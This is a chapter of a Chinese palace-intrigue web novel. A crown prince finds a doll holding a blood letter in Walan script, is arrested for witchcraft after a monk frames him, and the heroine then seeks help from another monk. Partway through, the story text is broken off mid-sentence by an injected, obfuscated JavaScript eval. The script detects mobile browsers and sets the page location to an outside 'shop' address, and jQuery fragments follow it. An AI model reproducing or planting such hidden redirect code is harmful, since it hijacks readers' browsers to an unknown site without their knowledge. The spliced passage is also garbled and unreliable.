53. 第 53 章

作品:《最难救赎是温柔

    郑惊鹤来到周怀钰的房外。


    发现屋外并没有任何人,她有些惊疑,上前一步就要敲门。


    却没想到门自己打开了。


    她见里面没人,犹豫了片刻,到底没有进入,但在转身离开之际,余光瞥见了那桌上的一个熟悉东西。


    是人偶。


    袖中的人偶在此刻似乎有些烫手。


    郑惊鹤听见身后有脚步声传来,几乎是条件反射将那门给关住。


    直到熟悉的声音响起。


    “郑姑娘?”是周怀钰的声音。


    郑惊鹤闻言转身,便瞧见了眼下有些泛青的少年。


    原本想说的话在口中噎住,转而问道:“殿下昨日可是没有歇息好?”


    周怀钰示意她进屋。


    待两人进屋后,他在身旁人的注视下,将门缓缓掩上。


    他将少女带到了桌案旁,为她沏下了一杯茶,见她目光落在了不远处的人偶上,他反问道:“郑姑娘可还记得昨日寂方所说的竹屋?”


    郑惊鹤当然没有忘记,不过看眼前人的模样,她心中了然,“看来殿下并未等我,可是已经前去过了?”


    “不错。其实早在几日前,我便派霜降来到了大慈寺。而这段时间,他也找到了那竹屋之处。而昨日,待姑娘睡下后我便去往了竹屋,发现了——”


    他的目光落在了不远处的人偶,那人偶被他握在手中,只是稍微一翻转,人偶后背居然有一裂开的缝隙,而只需轻轻一拉,便抽出一张带血的纸。


    “这是……”郑惊鹤下意识接过。


    那血书被她缓缓打开,里面的文字却极为陌生。


    “此为瓦兰文字,”周怀钰为她解答,“只是上面的字迹过于潦草,我也不能完全分辨。”


    “殿下可会瓦兰语?”


    “母后幼时便曾居住在瓦兰,我曾被她教导过一些,只略懂一二。”


    瓦兰是北胡的部落之一。


    郑惊鹤下意识想起,不久前周椒声跟她提到过的皇后往事。


    想必这瓦兰,便是皇后之母李四娘曾留下的地方。


    果然,便听周怀钰道:“母后的生母曾在瓦兰担任国师,也是在那处,父皇曾被交换为质子,与母后相识。”


    “只是,母后已经许久未去瓦兰,”他看向郑惊鹤手中的人偶,上面的瓦兰语字字滴血,模糊了字迹,“为何会在那竹屋留下那么多的人偶?尤其是这人偶背后还藏有血书。”


    两人对视一眼。


    “你的意思是,寂方?”郑惊鹤突然道。


    “或许是他,又或许不止是他。”


    当年这人偶所牵扯的事件,即使他当时年纪尚幼,但仍然让他终身难忘。


    他不会忘记,那年父亲冷血的眼眸,他想要见母后,却被人关押在那伸手不见五指的“地牢”。


    每日里的吃食,猪狗不如。


    而那时候,他虽徒有太子之名,却几乎剥夺了太子之实。


    而当他再见到母后时,那张向来冷静到极致的眼中,是通红的眼眶。那双眼睛,他再也没有见过曾经的明媚,只剩下压抑过后的死寂。


    他不知道那时他是如何出来的,他只记得那日母后的身体抖得骇人。


    他想要去安慰她,可话语磕磕巴巴的,如何都说不出来。而在那巫蛊之祸后的整整一年里,他都无法说出一句完整的话来。


    那时,他被周礼景嘲笑为口吃太子,经常被他们联合起来欺辱,只因他身后的靠山一个接一个的倒下,母后也因那场巨变伤了身子,几乎极少露面,而他顶着那些不怀好意,试图维系着他们二人的生存。


    也是那时候,他认识了当归婆婆,也是当归婆婆治好了他的口吃。


    自那以后,他曾经的老师、伙伴,甚至任何与他有所牵连的人,皆消失在了他的身旁。周怀钰不记得那时他是如何度过的,只记得那段时间的天格外的黑,他睡觉都必须要将寝宫照得灯火通明,直到一场大火让他意识到,火焰有时候也能够灼人心智。


    而也是在那个至暗时刻,他收到了一封天外来信,让他得到了一个在黑暗挣扎中一丝喘息的机会。


    想到前些日子,他给他那位笔友写信,对方似乎也同样是前往寺庙礼佛。


    他原本想再询问得更细一点,想着两人是否都在大慈寺。可周怀钰记得很清楚,在最开始的信件交流当中,他能够清晰地感受到对方似乎和他不在同一处,口信中写到的许多东西,都是他未曾听闻过的新奇事。


    或许她并不是大周人?可从他的语句当中,却并没有外邦之气。


    他对此不是没有过好奇,可是两人不过是相隔两端的笔友罢了,过多的去探问他人的事迹,实非君子所为。


    他在少女不解的注视下,将那些万千思虑放置在了脑后。


    他想起方才少女的话,摇了摇头,“这些字迹实在太过难懂,怕是只有瓦兰人才能够……”


    他话音未落,像是忽然醒悟过来,“对,方才我怎么没有想到,大周境内瓦兰商人并不在少数,说不定他们便能认识这血书当中的意思。”


    “可是殿下,你有没有想过一个问题?这人偶可能会牵扯到多年前的巫蛊之祸,若是被陛下发现,怕是会对你起疑心。”郑惊鹤提醒他。


    周怀钰闻言冷静了下来,况且,这上面的字迹明显是血书,若是被瓦兰人瞧见,或许又是一阵腥风血雨。


    可他难道当真就要将此事掩埋吗?母后久久不曾露面之事仍未查清,他不愿意放弃这等线索。


    况且,他也不愿意听信那大慈寺住持口中的丧命谣言。


    告别周怀钰之前,郑惊鹤仍然心中不安。


    得到少年温声的安抚后,她也并没有放下心。不知道是不是她的错觉,她总觉得方才屋里的少年似乎情绪有些不对。


    言语之中,尽是想要让她离开之意。


    郑惊鹤抬步走到了屋外,看见天上乌云漫布,似风雨欲来。


    淅淅沥沥的小雨在倾刻间落下,将她前要迈出的步伐止住。而在此时,一阵惊雷响起,亮白的光照亮了郑惊鹤骤变的脸。


    她几乎是跑回了屋内,雷鸣轰响,盖住了她有些颤抖的声音。


    而声音刚落,雷鸣却未断。


    轰响之间,似有无数的脚步声朝此处而来。


    周怀钰几乎在倾刻间便意识到事态的变故,但那张向来温和的脸却未变分毫,似乎早有预料。


    他眉眼一抬,便能瞧见不远处而来的禁军们,他在少女反应过来之前,便将她拉拽到了床榻旁,将表情惨白的少女塞在了床榻之下,低声道:“莫怕,我去看看。”


    郑惊鹤被藏在床板之下,她下意识伸手去拽住想要离开的人,“不——!”


    可那人并没有因为她的话而停留,只是伸手拍了拍她冰凉的手背,并将那人偶塞进了她手中,“不论待会发生任何事,千万莫要出来。”


    郑惊鹤或许永远不会忘记那个雨幕天。


    被风吹得啪啪作响的房门外,少年被人压下的背影清晰可见。


    禁军们的声音如雷贯耳,似乎眼前之人并不是他们敬仰的储君,而是一个乱臣贼子。


    论他是如何的得民心,但只要是上位者的一句话,便能够随意地定他生死。


    竹屋内的人偶终究被人发现。可郑惊鹤明明记得,就在方才周怀钰告诉了他,那人偶早就被他处理。


    这些禁军又是从何处找回的那些人偶?难道是——


    她混乱的思绪在一瞬间流出一丝清明。


    欲加之罪,他如何也无法说清。


    郑惊鹤费力地想要


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17143768|193159||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    睁大双眼,看清楚外面的局势,就在那些人把周怀钰押走之后,她看见了一个熟悉的光头。


    是寂方,以及他身侧的老住持。


    两人来到屋檐下躲雨,并不知晓,这屋内还藏着另一个人。


    “寂方,你这次做的不错,”老住持赞赏大笑,“你又帮为师在陛下面前立了一功啊。”


    “……”


    背对着她的身影,与前些日子同周怀钰共画的身影重叠。


    郑惊鹤的眼眸渐渐沉了下来。


    寂方……果然是你,原来那日你所谓的倾诉心声,便是你给周怀钰下的鸿门宴?


    太子入狱,大慈寺众人轰动。


    郑惊鹤在无人之际离开,她原本想要追上那黑压压的队伍,却被围堵的人堵得寸步难行。


    甚至连那人的背影都没瞧见。


    “禁军为何会将太子押下?他们疯了?”


    “嘘!慎言!”有人压低声音,“据说是陛下亲自下令逮捕,言太子谋逆。”


    “太子谋逆?怎么可能!陛下他必然是被奸人所蒙蔽!”


    “你们方才没听见那些禁军老爷的话吗?据说是因为太子私藏巫蛊人偶。”


    巫蛊二字一出,众人噤声。


    当年因这二字之祸,所掀起的风波记忆犹新,没有人再敢为太子说话。


    毕竟谁都还记得当年巫蛊之祸出时,许多百姓为皇后说话,皆被拖下入狱,称为皇后□□。


    上位者之间的矛盾,毕竟与他们干系不大。即使他们再不信太子会使巫蛊害皇帝,可他们也不敢多言。


    只要祸不及到他们身上,那么这些都只是茶后闲谈罢了。


    郑惊鹤在人群中一步一步后退,却没想到撞到了一个人身上。


    常心垂眸笑道:“郑施主,别来无恙,可有需要小僧这一盟友的帮助?”


    郑惊鹤看了一眼四周,见没人关注他们二人,便将眼前人拽到了一旁僻静的角落。


    她还未说话,眼前的和尚便装模作样起来,“阿弥陀佛,这便是郑施主的求人之态吗?”


    郑惊鹤没兴趣和他打哑语,开门见山道:“怎么才能救他?”


    “太子此次入狱,你猜,这背后有何人操手?”


    “帝王、大慈寺,以及——”


    “以及被太子伤害利益的权臣们,你可知道,如今朝堂上有多少的臣子们期待着太子落马?”


    “……”


    常心比划了一下,“近九成,那你又猜,这一次入狱,太子是否能够保住他这太子之位?”


    郑惊鹤已经不愿在这听他猜来猜去,她上前一步,身高的优势在靠近眼前人的刹那突显。


    比她矮上一截的常心脸色微变,少女将他逼得退无可退,那双微垂的黑眸,并没有他预料的焦急和无助,只有化为实质的冷静。


    “我以为,你当真是把我等当做你的盟友。”


    那双眼睛凝视了他片刻,最终退开了,她摇了摇头似乎满是失望,转身就要离去。


    常心忽然有刹那的失神,他想到了来大慈寺之前的种种,那些或失望或悔恨的眼神。


    在少女离开之前,他匆匆上前,想要去拉住她,却没捉住衣袖,只能微微拔高了声音,“太子殿下入狱,流程还并未走完。太子乃储君之位,即使是陛下也不能一言定论,还需要群臣议罪。”


    有人朝他们看了过来,不过在看清楚说话之人是谁前,郑惊鹤已经把人拉到了角落。


    “你的意思是,去找那些能够议罪的臣子们?”


    “孺子可教也,”对上少女毫无波澜的眼神,常心轻咳了一声,“咳郑施主,小僧就在这里等候您的好消息。若是你成功将太子殿下救了出来,那么我们依旧是盟友。若你未将他救出来,我们也是曾经的盟友。祝你好运。”